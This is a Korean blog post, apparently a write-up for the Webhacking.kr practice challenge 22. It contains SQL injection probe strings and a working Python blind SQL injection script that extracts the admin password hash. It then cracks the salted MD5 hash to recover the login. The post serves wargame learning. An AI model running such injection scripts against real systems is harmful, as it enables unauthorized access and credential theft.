Webhacking.kr 22번 문제풀이

동스토리 ㅣ 2020. 12. 21. 18:17

반응형

안녕하세요.

 

웹 해킹 22번 문제풀이 하겠습니다.

 

 

username: admin ' or 1=1 # login -> Wrong password!

username: admin 'and 1=2 # login -> Login fail !

 

-> 이 문제는 참과 거짓의 결과 값을 사용한 Blind SQL Injection 문제이고, admin계정의 pw를 찾으면 문제를 해결할 수 있을 거 같습니다.

 

pw를 알아내기 위해 파이썬 코드를 사용해보겠습니다.

 

import requests

url = 'https://webhacking.kr/challenge/bonus-2/index.php'
cookies = {'PHPSESSID':'s2o4ff27o3c26mco476599choq'}
pw_length =""
pw =""

#pw_length
for i in range(0,100):
    data = {"uuid":"admin' and length(pw) ={}#".format(i),"pw":"a"}
    r = requests.post(url, cookies=cookies, data=data)
    if r.text.find("Wrong password!") !=-1:
        pw_length = i
        #print(pw_length)
        break

print("pw_length :", pw_length)

#pw
for i in range(1,pw_length+1):
    for j in range(33,133):
        data = {"uuid":"admin' and ascii(substr(pw,{},1))={}#".format(i,j), "pw":"a"}
        r = requests.post(url, cookies=cookies, data=data)
        if r.text.find("Wrong password!") != -1:
            pw += chr(j)
            #print(i, "pw is",pw)
            break

print("pw is :", pw)


 

pw가 32자의 hash값을 보여주는데 MD5 기법을 사용했다고 생각을 해볼 수 있습니다.

 

 

MD5 디코딩을 해주면, wowapple이 나오는 것을 볼 수 있습니다.

www.md5online.org/md5-decrypt.html

 

MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

 

www.md5online.org

 

이후 admin/wowapple로 로그인을 해보았는데 login fail! 이 나온다. 

 

그렇다면 계정을 test/test로 생성 후 로그인을 시도해보겠습니다. 

 

결과로 나온 해쉬값을 MD5 디코더에 돌리면, testapple이 나오는 것을 볼 수 있습니다.

 

 

결국, apple은 salt값이고 admin/wow로 로그인을 해야 한다는 것을 알 수 있습니다.

 

 

 

감사합니다.

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 24번 문제풀이  (0) 2020.12.26
Webhacking.kr 23번 문제풀이  (0) 2020.12.25
Webhacking.kr 21번 문제풀이  (4) 2020.12.19
Webhacking.kr 20번 문제풀이  (0) 2020.12.09
Webhacking.kr 19번 문제풀이  (0) 2020.12.07